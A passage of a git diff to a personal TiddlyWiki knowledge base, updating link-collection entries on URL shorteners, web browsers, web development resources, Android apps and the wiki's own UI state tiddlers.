specific user\n; `[Size]`\n: `{Width}x{Height}` - Image of specific size of width * height\n; `[Keywords]` - Image with certain keyword[s]; Multiple can be specified by separation with:^^[citation needed]^^\n: `Word1[,...]` - Comma: meaning AND\n: `Word1[-...]` - Dash: meaning OR\n\n\u003C\u003C\u003C\n\n!!! ''Random Picture from the Gallery''\n\n\u003Ca href=\"https://unsplash.com\" rel=\"noopener noreferrer\" target=\"_blank\">\u003Cimg class=\"Img90\" src=\"https://source.unsplash.com/random\">\u003C/a>\n\n\u003C!--\n\u003Ca href=\"https://source.unsplash.com/random?{{{[\u003Cnow hh.mm.ss.XXX>]}}}\">a\u003C/a>\n--->"}, -{"title":"URL shortening","created":"20230823100404453","creator":"Octt","modified":"20230823101738480","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"URL shortening\">>\n\n* [[t.ly|https://t.ly]] --- Apparently the //World's Shortest Link Shortener//\n"}, +{"title":"URL shortening","created":"20230823100404453","creator":"Octt","modified":"20240127213352039","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"URL shortening\">>\n\n* \u003C\u003ChttpsL bit.ly>> --- Classic shortener, but got shitty in recent years and demands and account be made for creating more than 1 link (unless you clear browser site storage)\n* \u003C\u003ChttpsL goo.gl>> --- Shortener which has been #KilledBy[[Google]]\n* \u003C\u003ChttpsL t.ly>> --- Apparently the //World's Shortest Link Shortener//\n* \u003C\u003ChttpsL tinyurl.com>> --- A shortener that I think is standing the test of time, but recently the retro site was replaced with a full-blown webapp\n"}, {"title":"USB","created":"20230205142939788","creator":"Octt","modified":"20231105001706951","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe USB>>\n\n* (even low-power) [[USB storage devices disconnecting without apparent reason|https://askubuntu.com/questions/1266583/usb-storage-devices-disconnecting-without-apparent-reason]] --- short answer: probably the master controller not supplying enough power in bursts and so making the slave crash, some PC motherboards are shit enough to make this happen even with pendrives (which work normally until they draw a lot of current in an instant)\n** \u003C\u003CRedditL r/MSI_Gaming/comments/uqlzk5/b450_gaming_plus_max_usb_ports_not_working \"B450 Gaming Plus Max USB ports not working properly\">>: personal issue of mine\n"}, {"title":"Userscript","created":"20230513220204210","creator":"Octt","modified":"20230531090829342","modifier":"Octt","tags":"Web Hacking","text":"\u003C\u003C^wikipediaframe Userscript>>\n\n* [[Greasy Fork|https://greasyfork.org/]] --- Best site for userscripts --- \u003C\u003C#[ Git \"https://github.com/JasonBarnabe/greasyfork\">>\n* [[Violentmonkey|https://violentmonkey.github.io/]] --- //open-source userscript manager for browsers with WebExtensions support// (the best today) --- \u003C\u003C#[ Git \"https://github.com/violentmonkey\">>\n* Old US managers: [[Greasemonkey|https://www.greasespot.net/]], [[Tampermonkey|https://www.tampermonkey.net/]]\n"}, {"title":"UUID","created":"20231219000436282","creator":"Octt","modified":"20231219000744846","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe UUID>>\n\n* [[RFC4122 - A Universally Unique IDentifier (UUID) URN Namespace|https://www.rfc-editor.org/rfc/rfc4122]]\n* [[Online UUID Generator|https://www.uuidgenerator.net/]] (works without JS) + help pages for implementing in code\n"}, @@ -1491,7 +1495,7 @@ {"title":"Watch","created":"20230216214811117","creator":"Octt","icon":"⌚","modified":"20230223225609515","modifier":"Octt","page-cover":"https://source.unsplash.com/random/?watch","tags":"Clock","text":"\u003C\u003C^wikipediaframe Watch en>>\n\n; DIY and Mods\n\n: [[Sensor Watch|https://www.sensorwatch.net/]] - //Board swap for the classic Casio F-91W wristwatch// - [\u003C\u003CYoutubeL Bze61OdEKoQ \"Video about it\">>]\n: \u003C\u003CYoutubeL s2R_Pzl1D2c \"Cheap no-brand wristwatch NFC mod demonstration\">>\n\n: \u003Cdiv>\n\n* [[Data Runner Watch Prototype (Modded Casio F91W) [N-O-D-E]|https://n-o-d-e.net/datarunner.html]] - \u003C\u003CYoutubeL SMkAIG1B0Ow>>\n* \u003C\u003CYoutubeL aGn2_zP8GI8 \"CASIO F91W NFC MOD - DIY F91 Watch NFC Tag Implant Easy Modification\">>\n\u003C/div>\n\n: \u003Cdiv>\n\n* \u003C\u003CYoutubeL 1YPktl_dmao \"Casio A158W Clean Face Mod\">>\n* \u003C\u003CYoutubeL fVrXhoJpAWI \"NFC Mod Casio CA53WF / CA53W Calculator Watch\">>\n\u003C/div>\n\n: \u003C\u003CYoutubeL iOwmIXZRI \"[modding] How Convert Casio MQ-24 to Single Hand Watch\">>\n: \u003C\u003CYoutubeL 4_gOOgApxoQ \"Making the world's most 80's watch\">>\n\n; Reviews\n: \u003C\u003CYoutubeL p_bgE1WJa1Y \"Casio F91W3 - THE GREEN ONE! - I Review Crap!\">> - Has some trivia and interesting facts\n\n!! ''Smartwatch''\n\n\u003C\u003C^wikipediaframe Smartwatch en>>\n\n* [[Open-SmartWatch|https://open-smartwatch.github.io/]]\n* [[PineTime|https://www.pine64.org/pinetime/]]\n"}, {"title":"Wayback Machine","created":"20220923144125627","creator":"Octt","modified":"20230613185301954","modifier":"Octt","tags":"Archiving Internet $:/i18n:en","text":"The [[Wayback Machine|https://web.archive.org]] is a public website archiving service, provided by the [[Internet Archive|Internet Archive]].\n\n[img[https://upload.wikimedia.org/wikipedia/commons/0/01/Wayback_Machine_logo_2010.svg]]\n\n\u003C\u003C^wikipediaframe \"Wayback Machine\">>\n\nThe project exists to fulfill the goal of Web content preservation. It allows for users to visit a snapshot of a webpage captured in the past, serving as a way to preserve history, both in the case of the site owners altering the contents of a page, or simply the server going permanently down.\n"}, {"title":"Web","created":"20230203214532694","creator":"Octt","icon":"🕸️","modified":"20240101230659334","modifier":"Octt","page-cover":"https://source.unsplash.com/random?web","tags":"Internet","text":"\u003C\u003C^wikipediaframe World_Wide_Web en>>\n\n* [[PyScript|https://pyscript.net/]] --- //Run Python in Your HTML// --- \u003C\u003C[# Git\"https://github.com/pyscript\">>\n\n!! User-Agent\n\n\u003C\u003C^wikipediaframe User-Agent>>\n\n* [[User Agents Database|https://user-agents.net/]] --- website collecting many up-to-date user agents, classified and downloadable\n\n!! ''Resources''\n\n* ''[[World Wide Web Consortium|https://www.w3.org/]]'' - //international community that develops open standards to ensure the long-term growth of the Web// - [[[Wikipedia|https://en.wikipedia.org/wiki/World_Wide_Web_Consortium]]]\n* [[Web Hypertext Application Technology Working Group (WHATWG)|https://whatwg.org/]] --- //Maintaining and evolving HTML [Living Standard] since 2004//\n* The ''[[IndieWeb|https://indieweb.org/]]'' is a people-focused alternative to the “corporate web”.\n\n* ''Web Archiving Services'': [[Wayback Machine]] | [[archive.today|https://archive.today/]] | [[Ghostarchive|https://ghostarchive.org/]]\n* [[Can I use|https://caniuse.com/]] --- //up-to-date browser support tables for support of front-end web technologies on desktop and mobile web browsers// --- \u003C\u003C[# \"Open Data (Git)\" \"https://github.com/Fyrd/caniuse\">>\n\n!!! ''Tools''\n\n* [[Browserling|https://www.browserling.com/]] | [[BrowserStack|https://www.browserstack.com/?ref=caniuse-source&caniuse_source=brand-asset]] | [[LambdaTest|https://www.lambdatest.com/]] - For testing web app and sites on different browsers, straight online\n* [[HTTrack|https://www.httrack.com/]] - //Website copier, offline browser// - \u003C\u003C[ \"[[Git|https://github.com/xroche/httrack]]\">>\n* [[Webrecorder Project|https://webrecorder.net/]]\n** ''[[ReplayWeb.page|https://replayweb.page/]]'' - //Serverless Web Archive Replay directly in the browser// - \u003C\u003C[ \"[[Git|https://github.com/webrecorder/replayweb.page]]\">>\n* [[TabFS|https://omar.website/tabfs/]] - //browser extension that mounts your browser tabs as a filesystem on your computer// - \u003C\u003C[ \"[[Git|https://github.com/osnr/TabFS]]\">>\n* ''[[W3C Markup Validation Service|https://validator.w3.org/]]'' - //Check the markup (HTML, XHTML, …) of Web documents// - [[[Other similar tools|https://w3c.github.io/developers/tools/]]]\n\n!!! ''Frameworks/Generators/CMS''\n\n(Note: some are in [[Static site generator]].)\n\n* [[Blogger|https://blogger.com]] (Google) --- //Create a unique and beautiful blog easily.//\n** [[Dynamic Views: seven new ways to share your blog with the world|https://blogger.googleblog.com/2011/09/dynamic-views-seven-new-ways-to-share.html]]\n*** [[How to customize Blogger's Dynamic Views templates|https://blog.mridey.com/2015/08/how-to-customize-bloggers-dynamic-views.html]] --- //Dynamic Views uses a token based template format...//\n* [[WordPress]]\n* [[werc - A sane web anti-framework|http://werc.cat-v.org/]] --- //Bringing minimalism and sanity to the web// --- Has interesting features with a fixed but style-customizable layout, + support for apps and extensions.\n* [[H5P|https://h5p.org/]] --- //Create, share and reuse interactive HTML5 content in your browser//\n\n!!! ''Analytics''\n\n* \u003C\u003ChttpL www.freecounterstat.com>> --- Dy befault, blocked by uBlock Origin on the international domain, but several national domains are not, like \u003C\u003ChttpL www.contatoreaccessi.com>> (IT).\n** Multiple `.ovh` subdomains handle the image serving and the access counting, they appear to be functionally equivalent and swappable in case one is blocked, but the already counted accesses are bound to each specific domain, aka you can't swap the domain you embed while keeping the already counted accesses.\n* ''[[GoatCounter|https://www.goatcounter.com/]]'' --- //Easy analytics. Open-source, self-hostable, GDPR-compliant. No tracking of personal data, and works without JS// --- \u003C\u003C[ \"[[Git|https://github.com/arp242/goatcounter]]\">>\n** Note: GoatCounter tracking endpoints are blocked by the default uBlock Origin configuration, must selfhost or arrange some kind of proxy to bypass it.\n* [[Moe Counter!|https://moe-counter.glitch.me/]] (`count.getloli.com`)\n* [[Start Hits|https://hits.seeyoufarm.com]] --- //🚀 Easy way to know how many visitors are viewing your Github, Website, Notion 🎉// --- \u003C\u003C#[ Git \"https://github.com/gjbae1212/hit-counter\">>\n* //Others: https://github.com/newTendermint/awesome-analytics | https://github.com/pluja/awesome-privacy#analytics //\n\n!!! Other Things\n\n* \u003C\u003CMDNLink Glossary/speculative_parsing \"Speculative parsing\">>\n"}, -{"title":"Web Browser","created":"20230217100639349","creator":"Octt","modified":"20240107125655740","modifier":"Octt","tags":"Web","text":"\u003C\u003C^wikipediaframe \"Web Browser\">>\n\n* [[Fulguris|https://slions.net/resources/fulguris.10/]] --- webview-based //Sparkling Android Web Browser// --- \u003C\u003C[# Git\"https://github.com/Slion/Fulguris\">>\n* [[Via Browser|https://viayoo.com/en/]] --- //lite browser with powerful functions. Designed on geek thinking.//\n\n!!! [[Chromium|https://chromium.org]]\n\n* [[Website by woolyss|https://chromium.woolyss.com/]] --- //created in 2013 because there was no easy way to download good and stable releases of Chromium, on Windows// ... also indexes other Chromium downloads\n\n* [[Remote debug Android devices (Chrome for Developers)|https://developer.chrome.com/docs/devtools/remote-debugging/]]\n\n; Forks\n: [[Ungoogled Chromium|https://github.com/ungoogled-software]]\n: [[Bromite|https://bromite.org]] (Android) --- \u003C\u003C[# Git\"https://github.com/bromite\">>\n\n!!! [[Firefox|https://firefox.com]]\n\n* [[How to Install Any Add-on in Firefox for Android|https://www.maketecheasier.com/install-addon-firefox-android]] (Firefox Beta is needed)\n** [[Usando Firefox Beta, è possibile aggiungere una lista custom di #addons...|https://mastodon.uno/@octo/111064836718607256]]\n* [[Why Extensions can't modify Mozilla sites (like AMO)|https://ninetailed.ninja/extensions-modify-mozilla-sites.html]]\n* [[How to increase Firefox scrollbar width?|https://unix.stackexchange.com/questions/304711/how-to-increase-firefox-scrollbar-width]] --- set `widget.non-native-theme.scrollbar.size.override` to number in `about:config`\n\n; Forks\n: [[LibreWolf|https://librewolf.net]] (Desktop)\n: \u003C\u003CFDroidLink org.mozilla.fennec_fdroid \"Fennec F-Droid\">> (Android)\n: [[CENO Browser|https://censorship.no/en/index.html]] (Android) --- //Short for censorship.no!, is the world’s first mobile browser that side-steps current Internet censorship methods. Its peer-to-peer backbone allows people to access and share web information in and across regions where connectivity has been interrupted or compromised.// --- \u003C\u003C[ \"[[Git|https://gitlab.com/censorship-no]]\">>\n\n; Forks of the old codebase, Mozilla Suite\n: [[Mypal|https://www.mypal-browser.org/]] --- //Mypal is a current and maintained browser for Windows XP. Turn that old PC into something useful!// --- \u003C\u003C[# \"Old Sources\" \"https://github.com/Feodor2/Mypal/tags\">>\n: [[Pale Moon|https://www.palemoon.org/]]\n: //''[[SeaMonkey project|https://www.seamonkey-project.org/]]'' is a community effort to develop the SeaMonkey Internet Application Suite//\n\n!!! \u003C\u003CFlathubLink org.gnome.Epiphany \"Epiphany\">>\n\n* https://gitlab.gnome.org/GNOME/epiphany\n\n!!! Misc\n\n* //''[[Falkon|https://www.falkon.org/]]'' is a KDE web browser using QtWebEngine rendering engine// (same as Chromium, but the overall base is different)\n* //''[[K-Meleon|http://kmeleonbrowser.org/]]'' is a lightweight, customizable, open-source web browser designed for Microsoft Windows (Win32) operating systems. Support for legacy operating systems, low RAM usage, a macro language to customize the browser, and privacy-respecting defaults are among K-Meleon's unique features.//\n* [[Konqueror|https://apps.kde.org/konqueror/]] --- //Konqueror is KDE's Webbrowser and swiss-army-knife for any kind of file-management and file previewing.// --- basically the Internet Explorer 4 of Linux, a file manager with built-in browser and advanced features... seems to be maintained currently, but all my distros ship an ancient version with HTML 4 (no 5) support\n\n!! Extensions / Add-ons\n\n* [[octollection|https://addons.mozilla.org/en-US/firefox/collections/18049170/octollection]] --- my add-ons collection for Firefox\n* [[Redirector|https://einaregilsson.com/redirector/]]\n"}, +{"title":"Web Browser","created":"20230217100639349","creator":"Octt","modified":"20240128004734394","modifier":"Octt","tags":"Web","text":"\u003C\u003C^wikipediaframe \"Web Browser\">>\n\n* [[Fulguris|https://slions.net/resources/fulguris.10/]] --- webview-based //Sparkling Android Web Browser// --- \u003C\u003C[# Git\"https://github.com/Slion/Fulguris\">>\n* [[Via Browser|https://viayoo.com/en/]] --- //lite browser with powerful functions. Designed on geek thinking.//\n\n!!! [[Chromium|https://chromium.org]]\n\n* [[Website by woolyss|https://chromium.woolyss.com/]] --- //created in 2013 because there was no easy way to download good and stable releases of Chromium, on Windows// ... also indexes other Chromium downloads\n\n* [[Remote debug Android devices (Chrome for Developers)|https://developer.chrome.com/docs/devtools/remote-debugging/]]\n* [[How to manage service workers in chrome?|https://stackoverflow.com/questions/40041401/how-to-manage-service-workers-in-chrome#40046012]] --- `chrome://serviceworker-internals`\n\n; Forks\n: [[Ungoogled Chromium|https://github.com/ungoogled-software]]\n: [[Bromite|https://bromite.org]] (Android) --- \u003C\u003C[# Git\"https://github.com/bromite\">>\n\n!!! [[Firefox|https://firefox.com]]\n\n* [[How to Install Any Add-on in Firefox for Android|https://www.maketecheasier.com/install-addon-firefox-android]] (Firefox Beta is needed)\n** [[Usando Firefox Beta, è possibile aggiungere una lista custom di #addons...|https://mastodon.uno/@octo/111064836718607256]]\n* [[Why Extensions can't modify Mozilla sites (like AMO)|https://ninetailed.ninja/extensions-modify-mozilla-sites.html]]\n* [[How to increase Firefox scrollbar width?|https://unix.stackexchange.com/questions/304711/how-to-increase-firefox-scrollbar-width]] --- set `widget.non-native-theme.scrollbar.size.override` to number in `about:config`\n\n; Forks\n: [[LibreWolf|https://librewolf.net]] (Desktop)\n: \u003C\u003CFDroidLink org.mozilla.fennec_fdroid \"Fennec F-Droid\">> (Android)\n: [[CENO Browser|https://censorship.no/en/index.html]] (Android) --- //Short for censorship.no!, is the world’s first mobile browser that side-steps current Internet censorship methods. Its peer-to-peer backbone allows people to access and share web information in and across regions where connectivity has been interrupted or compromised.// --- \u003C\u003C[ \"[[Git|https://gitlab.com/censorship-no]]\">>\n\n; Forks of the old codebase, Mozilla Suite\n: [[Mypal|https://www.mypal-browser.org/]] --- //Mypal is a current and maintained browser for Windows XP. Turn that old PC into something useful!// --- \u003C\u003C[# \"Old Sources\" \"https://github.com/Feodor2/Mypal/tags\">>\n: [[Pale Moon|https://www.palemoon.org/]]\n: //''[[SeaMonkey project|https://www.seamonkey-project.org/]]'' is a community effort to develop the SeaMonkey Internet Application Suite//\n\n!!! \u003C\u003CFlathubLink org.gnome.Epiphany \"Epiphany\">>\n\n* https://gitlab.gnome.org/GNOME/epiphany\n\n!!! Misc\n\n* //''[[Falkon|https://www.falkon.org/]]'' is a KDE web browser using QtWebEngine rendering engine// (same as Chromium, but the overall base is different)\n* //''[[K-Meleon|http://kmeleonbrowser.org/]]'' is a lightweight, customizable, open-source web browser designed for Microsoft Windows (Win32) operating systems. Support for legacy operating systems, low RAM usage, a macro language to customize the browser, and privacy-respecting defaults are among K-Meleon's unique features.//\n* [[Konqueror|https://apps.kde.org/konqueror/]] --- //Konqueror is KDE's Webbrowser and swiss-army-knife for any kind of file-management and file previewing.// --- basically the Internet Explorer 4 of Linux, a file manager with built-in browser and advanced features... seems to be maintained currently, but all my distros ship an ancient version with HTML 4 (no 5) support\n\n!! Extensions / Add-ons\n\n* [[octollection|https://addons.mozilla.org/en-US/firefox/collections/18049170/octollection]] --- my add-ons collection for Firefox\n* [[Redirector|https://einaregilsson.com/redirector/]]\n"}, {"title":"Web design ideas","created":"20221103223952562","modified":"20230206111552426","modifier":"Octt","tags":"Internet $:/i18n:en","text":"Some ideas on //how// and //into what// to make a website I want to collect. Some I gather from other people's sites.\n\n* Site Changelog on Home page\n* Animated/Static Image Buttons for expressing ideas or linking to other websites\n* Shrines\n* Vast photo Galleries"}, {"title":"Web/Design","created":"20231224172607192","creator":"Octt","modified":"20231224172753668","modifier":"Octt","tags":"","text":"\u003C\u003C^WikipediaFrame \"Web design\">>\n\n* [[Codrops|https://tympanus.net/codrops/]] --- //Keeping web professionals inspired & up-to-date since 2009// --- \u003C\u003C[# Git\"https://github.com/codrops\">>\n** [[Text Input Effects|https://tympanus.net/Development/TextInputEffects/]] --- //Simple styles and effects for enhancing text input interactions.// --- \u003C\u003C[# Git\"https://github.com/codrops/TextInputEffects\">>\n\n!!! Other misc libraries and designs\n\n* [[Typo|https://neatnik.net/typo/]] --- //Typo types the way a real person types. There are subtle variations in speed, occasional errors that are corrected, and a general feeling of humanity.// --- \u003C\u003C[# Git\"https://github.com/neatnik/typo\">>\n"}, {"title":"Web/Development","created":"20230221204801305","creator":"Octt","modified":"20240119001119592","modifier":"Octt","tags":"","text":"\u003C\u003C^WikipediaFrame \"Web development\">>\n\n!!! ''References''\n\n; Misc\n: [[Window: postMessage()|https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage]]\n: [[Proxy Auto-Configuration (PAC) file|https://developer.mozilla.org/en-US/docs/Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_PAC_file]]\n\n; DOM querying\n: [[Find all text nodes in HTML page|https://stackoverflow.com/a/10730777]]\n: [[Find the closest ancestor element that has a specific class|https://stackoverflow.com/a/49516201]] | [[Element.closest()|https://developer.mozilla.org/en-US/docs/Web/API/Element/closest]]\n\n; DOM manipulation\n: [[Insert a childNode to a specific position|https://stackoverflow.com/a/26259544]]\n: [[Prepend/append childNode to beginning/end of element|https://stackoverflow.com/a/45656684]]\n: [[Replace a DOM Element|https://www.javascripttutorial.net/dom/manipulating/replace-a-dom-element/]]\n\n; Embeds\n: [[From object to iframe — other embedding technologies|https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies]]\n: [[Alternative to iFrames with HTML5?|https://stackoverflow.com/questions/8702704/alternative-to-iframes-with-html5#31845361]]\n: [[Why are iframes considered dangerous and a security risk?|https://stackoverflow.com/questions/7289139/why-are-iframes-considered-dangerous-and-a-security-risk]]\n: [[4 IFrame Security Concerns You Should Know|https://blog.bitsrc.io/4-security-concerns-with-iframes-every-web-developer-should-know-24c73e6a33e4?gi=2c961c6663da]]\n\n!!! ''Tools and similar''\n\n* https://github.com/csstools/oldie - //tranforms CSS to be compatible with old Internet Explorer//\n* [[CORS Anywhere|https://github.com/Rob--W/cors-anywhere]] - //Server proxy which adds CORS headers to the request//\n* [[Web developer tools (mothereff.in)|https://mothereff.in/]] --- \u003C\u003C[# Git\"https://github.com/mathiasbynens/mothereff.in\">>\n\n!!!! Minification\n\n* ~~[[node-minify|https://github.com/srod/node-minify]] - //Light Node.js module and CLI app that compress javascript, css and html files//~~\n\n!!! ''Misc''\n\n* [[web.dev|https://web.dev/]] - //Guidance to build modern web experiences that work on any browser// (?)\n* [[Go Make Things|https://gomakethings.com/]] - //how to build a simpler, more resilient web//\n** [[The Vanilla JS Toolkit|https://vanillajstoolkit.com/]] - //tools and snippets for working with JavaScript// (libraries, functions, polyfills, learning)\n* [[Web Accessibility Developer Guide|https://www.accessibility-developer-guide.com/]]\n* [[Using \u003Cstyle> tags in the \u003Cbody> with other HTML|https://stackoverflow.com/questions/2830296/using-style-tags-in-the-body-with-other-html]] --- there once was a `scoped` attribute for `\u003Cstyle>` blocks, but it's nowadays deprecated and styles apply to all document elements despite their own position in the tree\n\n* [[Convert any website into a PWA in just 3 simple steps|https://dev.to/developertharun/convert-any-website-into-a-pwa-in-just-3-simple-steps-35pp]]\n* [[SPA source code recovery by un-Webpacking source maps|https://medium.com/@rarecoil/spa-source-code-recovery-by-un-webpacking-source-maps-ef830fc2351d]] - ''[[unwebpack-sourcemap|https://github.com/rarecoil/unwebpack-sourcemap]]''\n* [[How to inject service-worker.js to a webpage via Chrome Extension? I want to add offline functionality to the existing page|https://stackoverflow.com/questions/72356003/how-to-inject-service-worker-js-to-a-webpage-via-chrome-extension-i-want-to-add]]\n* [[Convert HTML5 Canvas Sequence to a Video File|https://stackoverflow.com/questions/19235286/convert-html5-canvas-sequence-to-a-video-file/62065826#62065826]]\n** customize video quality by changing codec: \u003C\u003CMDNLink Web/API/MediaRecorder/mimeType#examples MediaRecorder/mimeType>>\n\n* [[Hail, Babel! The Transpiling Overlord|https://www.telerik.com/blogs/hail-babel-the-transpiling-overlord]]\n** [[Using babel to transpile to es3 (safari compliant)|https://stackoverflow.com/questions/40205547/using-babel-to-transpile-to-es3-safari-compliant]]\n** [[How to Convert ES6 into ES5 using Babel|https://medium.com/@SunnyB/how-to-convert-es6-into-es5-using-babel-1b533d31a169]]\n\n* [[How to add full text search to your website|https://medium.com/dev-channel/how-to-add-full-text-search-to-your-website-4e9c80ce2bf4]]\n** [[BlogSearch|https://github.com/kbumsik/blogsearch]]\n** [[MiniSearch, a client-side full-text search engine|https://lucaongaro.eu/blog/2019/01/30/minisearch-client-side-fulltext-search-engine.html]]\n** [[Client-side full-text search in CSS|https://www.redotheweb.com/2013/05/15/client-side-full-text-search-in-css.html?]] (+ a bit of JS :c)\n** [[Lunr.js|https://github.com/olivernn/lunr.js/]]\n*** [[Add Search to Your Static Site with Lunr.js (Hugo, Vanilla JS)|https://aaronluna.dev/blog/add-search-to-static-site-lunrjs-hugo-vanillajs/]]\n*** [[Adding Super Fast Frontend Search in Rails with Lunr|https://blog.cloud66.com/adding-super-fast-frontend-search-in-rails-with-lunr]]\n"}, diff --git a/-2.html b/-2.html index 4890a41b..caf0d9e0 100644 --- a/-2.html +++ b/-2.html @@ -751,7 +751,8 @@ {"title":"$:/state/plugin-info-1958370054-$:/core--2000059281","created":"20220920140149154","modified":"20220920140149154","text":"contents"}, {"title":"$:/state/plugin-info-1998008712-$:/plugins/tiddlywiki/railroad--119403598","created":"20230108195707554","modified":"20230108195709210","text":"readme"}, {"title":"$:/state/plugin-info-496662381-$:/languages/it-IT","created":"20230218113830823","creator":"Octt","modified":"20230218114059177","modifier":"Octt","text":"no"}, -{"title":"$:/state/search/currentTab","created":"20230501095944427","creator":"Octt","modified":"20240118230426101","modifier":"Octt","text":"$:/core/ui/DefaultSearchResultList"}, +{"title":"$:/state/search-list/selected-item--1546365138","created":"20240119163604538","creator":"Octt","modified":"20240119165435451","modifier":"Octt","text":"Development/Resources-secondaryList"}, +{"title":"$:/state/search/currentTab","created":"20230501095944427","creator":"Octt","modified":"20240119155439786","modifier":"Octt","text":"$:/core/ui/DefaultSearchResultList"}, {"title":"$:/state/showeditpreview","created":"20220920140732083","creator":"Octt","modified":"20231227005915618","modifier":"Octt","text":"yes"}, {"title":"$:/state/ShowPaletteEditor","created":"20220920114858684","modified":"20220920114858684","text":"yes"}, {"title":"$:/state/sidebar","created":"20220920174307633","creator":"Octt","modified":"20231221152237213","modifier":"Octt","text":"yes"}, @@ -792,8 +793,8 @@ {"title":"$:/state/tab-914888664","created":"20230110152841020","modified":"20230110152841020","text":"$:/core/ui/TiddlerInfo/References"}, {"title":"$:/state/tab-99014043","created":"20220921221238452","creator":"Octt","modified":"20230218224826352","modifier":"Octt","text":"$:/core/ui/ControlPanel/TiddlerIcon"}, {"title":"$:/state/tab/moresidebar-1850697562","created":"20220920114911876","creator":"Octt","modified":"20230920153329472","modifier":"Octt","text":"$:/core/ui/MoreSideBar/Explorer"}, -{"title":"$:/state/tab/search-results/sidebar","created":"20230501095944427","creator":"Octt","modified":"20240118230426101","modifier":"Octt","text":"$:/core/ui/DefaultSearchResultList"}, -{"title":"$:/state/tab/sidebar--595412856","created":"20220920092307479","creator":"Octt","modified":"20240110101100366","modifier":"Octt","text":"OcttKB/Index"}, +{"title":"$:/state/tab/search-results/sidebar","created":"20230501095944427","creator":"Octt","modified":"20240119155439786","modifier":"Octt","text":"$:/core/ui/DefaultSearchResultList"}, +{"title":"$:/state/tab/sidebar--595412856","created":"20220920092307479","creator":"Octt","modified":"20240119172425357","modifier":"Octt","text":"OcttKB/Index"}, {"title":"$:/state/tabs/controlpanel/toolbars-1345989671","created":"20220920114638764","creator":"Octt","modified":"20230128224606306","modifier":"Octt","text":"$:/core/ui/ControlPanel/Toolbars/PageControls"}, {"title":"$:/state/tag-cloud-count","created":"20230109231545587","modified":"20230109231831243","text":"inline"}, {"title":"$:/state/toc-$:/OcttKB/ToC-2084057354","created":"20230301190128004","creator":"Octt","modified":"20230301190128780","modifier":"Octt","text":"close"}, @@ -1074,7 +1075,7 @@ {"title":"Alcohol","created":"20230301072812914","creator":"Octt","modified":"20230301080112072","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Alcohol en>>\n\n!!! ''Ethanol''\n\n\u003C\u003C^wikipediaframe Ethanol en>>\n\n; [[A proposito di alcol|https://saldimentali.wordpress.com/2020/01/27/a-proposito-di-alcol/]]\n: I danni sociali dell'alcol sono numerosi e di alta portata\n: \u003Cdiv> \n\nÈ sempre stato così ma oggi\n\n* Dovrebbe essere più ovvio grazie ai moderni mezzi che permettono rapida diffusione globale di notizie e conoscenza.\n* Chi ha una vita comune non ha bisogno di sfasciarsi con l'alcol o fare altre cose pericolose/dannose per emozioni momentanee, la vita per quanto piena di problemi è comunque migliore di quella dei nostri antenati.\n\u003C/div>\n\n; [[No level of alcohol consumption is safe for our health|https://www.who.int/europe/news/item/04-01-2023-no-level-of-alcohol-consumption-is-safe-for-our-health]]\n: Alcohol is a toxic, psychoactive, and dependence-producing substance classified as a Group 1 carcinogen.\n: Risks potentially start from the first drink, as no minimum level of consumption has ben identified from which the risks start, and that below it are absent.\n: The general population is indoctrinated by culture and often ignores the toxic properties of alcohol.\n: Poorer people are at higher health risks with alcohol due to generally more uncontrolled drinking patterns.\n: Like with cigarettes, we need health labels on alcohol products.\n\n!!! ''Isopropanol''\n\n\u003C\u003C^wikipediaframe Isopropanol en>>\n\n* Cheap like denaturated alcohol but it's natural, without strange chemical additives\n** Transparent instead of pink\n** Better for cleaning electronic components\n* More interesting chemical structure than ethanol\n"}, {"title":"Android","created":"20230202230035698","creator":"Octt","icon":"🤖","modified":"20240108001321956","modifier":"Octt","page-cover":"https://source.unsplash.com/random?android","tags":"OS Google Linux","text":"\u003C\u003C^wikipediaframe Android_(operating_system) en >>\n\n\u003C!--\n!! ''Try it Now''\n\n\u003Csmall>60-seconds hit and run demo\u003C/small>\n\n\u003C\u003CiFrameBypassFixed \"https://appetize.io/demo?device=pixel7&osVersion=13.0&scale=75&deviceColor=black\">>\n-->\n\n!! ''Resources''\n\n//Note: some resources that are related to Android but also closely Java may be included under the [[Java]] section.//\n\n* [[F-Droid|https://f-droid.org/]] --- //installable catalogue of FOSS (Free and Open Source Software) applications for the Android platform// --- \u003C\u003C[# Git\"https://gitlab.com/fdroid\">>\n* [[Kali NetHunter App Store|https://store.nethunter.com/en/]] --- //installable catalogue of Android applications for penetration testing and forensics// --- \u003C\u003C[# Git\"https://gitlab.com/kalilinux/nethunter/store/\">>\n\n* //''\u003C\u003CFDroidLink com.github.tmo1.sms_ie \"SMS Import / Export\">>'' is a simple Android app that imports and exports SMS and MMS messages, call logs, and contacts from and to JSON / NDJSON files.// --- \u003C\u003C[# Git\"https://github.com/tmo1/sms-ie\">>\n* \u003C\u003CFDroidLink org.sufficientlysecure.ical \"Calendar Import-Export\">> --- //Import/export your Android calendars as ics files without using the Google cloud// --- \u003C\u003C[# Git\"https://github.com/SufficientlySecure/calendar-import-export\">>\n** This seems to work better, but UX is worse: [[iCal Import/Export CalDAV|https://apkpure.com/ical-import-export-caldav/tk.drlue.icalimportexport]]\n* \u003C\u003CFDroidLink ryey.easer Easer>> --- //User-defined explicit automation for Android// --- \u003C\u003C[# Git\"https://github.com/renyuneyun/Easer\">>\n* [[Automate|https://llamalab.com/automate/]] (freemium) --- //Make your phone or tablet smarter with automation// --- [\u003C\u003CGPlayLink com.llamalab.automate>>]\n* [[MacroDroid|https://www.macrodroid.com/]] --- //Make your phone truly smart with the number one automation app on Android// --- \u003C\u003CGPlayLink com.arlosoft.macrodroid>>\n\n* [[All you need to know about LOST.DIR folder on Android devices|http://thesundaycoder.blogspot.com/2014/06/all-you-need-to-know-about-lostdir.html]]\n* [[What Is a NOMEDIA File?|https://androidforums.com/threads/whats-a-nomedia-file.307529/]] --- An empty file called `.nomedia` is used to hide the media content of the directory (and subdirectories) it's placed in from gallery apps and such.\n* [[I found a hidden folder called \".face\" on my phone. It is full of faces cropped from pictures I've taken or downloaded.|https://xdaforums.com/t/face-folder-is-choking-with-thousands-of-files.1929380/]] --- it's apparently a Samsung thing (can't understand if it also happens 